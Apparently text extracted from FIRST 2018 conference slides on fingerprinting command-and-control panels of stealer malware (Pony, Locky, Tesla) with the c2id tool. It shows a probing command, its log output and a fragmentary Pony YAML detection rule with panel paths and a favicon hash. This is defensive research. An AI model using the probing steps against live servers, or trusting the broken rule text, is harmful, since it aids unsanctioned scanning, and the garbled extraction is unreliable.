Apache Server at banktransactioncorp.net Port 80

FIRST 2018



Post Detection

- Most of them share the admin and reports

- Pony, Lockybot, Tesla etc... do that

$./c2id.py seek -u http://www.ctrhelpdesk.com/admin/Panel/five
2018-06-20 22:57:34,437 :: INFO :: No Root page found, bruteforcing
2018-06-20 22:58:03,158 :: INFO :: Found Locky Bot at 100%

https://github.com/Th4nat0s/c2id

FIRST 2018
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Post Detection

- Most of them share the admin and reports

- Pony, Lockybot, Tesla etc... do that

$cat pony2.yaml

name: pony

2.2

root: admin.php, gate.php

rule:
- page:
code:
- page:
code:
- page:
code:
- page:
code:

config.php

200

gate.php

404

admin.php

200
"includes/templates/header.tpl’
200

contains: '<div class="pony hdr_text">Pony 2.2

- page:
code:
hash:

FIRST 2018

"includes/design/images/favicon.ico'
200
b2e87bb6f28663fe5d28dec0d980d4ch

/3



Thank’s

Thanks to all guys who track panels
and have fun with it !

If you need/have info on stealer ping us
cert@excellium-services.com

www.excellium-services.com

YW @ _ThanatOs_ _
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